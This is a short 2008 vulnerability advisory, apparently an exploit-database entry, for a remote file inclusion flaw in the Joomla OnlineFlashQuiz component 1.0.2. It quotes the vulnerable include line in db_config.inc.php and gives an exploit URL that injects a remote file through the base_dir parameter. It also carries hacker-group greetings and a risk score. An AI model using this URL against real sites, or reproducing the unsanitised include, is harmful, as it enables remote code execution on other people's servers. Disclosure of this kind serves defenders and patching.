Joomla Component OnlineFlashQuiz <= 1.0.2 RFI Vulnerability

🗓️ 03 Apr 2008 00:00:00Reported by RootType

Joomla Component OnlineFlashQuiz 1.0.2 RFI Vulnerability, RFI in com_onlineflashquiz version 1.0.2 - paid componen


                                                /==============================================================================================================\
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;[o]&nbsp;Online&nbsp;FlashQuiz&nbsp;1.0.2&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability						&nbsp;|
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Software&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;com_onlineflashquiz&nbsp;version&nbsp;1.0.2&nbsp;-&nbsp;paid&nbsp;component					&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developer&nbsp;&nbsp;:&nbsp;&nbsp;www.elearningforce.biz									&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;NoGe											&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Contact&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;noge[dot]code[at]gmail[dot]com								&nbsp;|
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;|==============================================================================================================|
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;[o]&nbsp;Vulnerable&nbsp;file											&nbsp;|
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;component/com_onlineflashquiz/quiz/common/db_config.inc.php						&nbsp;|
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;include_once($base_dir.&quot;common/classes/DBBase.class.php&quot;);						&nbsp;|
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;[o]&nbsp;Exploit												&nbsp;|
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://localhost/path/component/com_onlineflashquiz/quiz/common/db_config.inc.php?base_dir=[evilcode]	&nbsp;|
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;|==============================================================================================================|
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;[o]&nbsp;Greetz													&nbsp;|
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;all&nbsp;crew&nbsp;#papuahacker&nbsp;#baliemhackerlink&nbsp;#nyubicrew							&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;skulmatic&nbsp;olibekas&nbsp;ulga&nbsp;Cungkee&nbsp;nyubi&nbsp;k1tk4t&nbsp;str0ke							&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;yooogy&nbsp;H312Y&nbsp;Vrs-hCk&nbsp;Oon_Boy&nbsp;Paman&nbsp;mousekill&nbsp;}^-^{&nbsp;SiKodoQ						&nbsp;|
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://kapukvalley.net&nbsp;member										&nbsp;|
&nbsp;&nbsp;|														&nbsp;|
&nbsp;&nbsp;\==============================================================================================================/

03 Apr 2008 00:00Current

7.1High risk

Vulners AI Score7.1

Joomla Component OnlineFlashQuiz &lt;= 1.0.2 RFI Vulnerability

Joomla Component OnlineFlashQuiz <= 1.0.2 RFI Vulnerability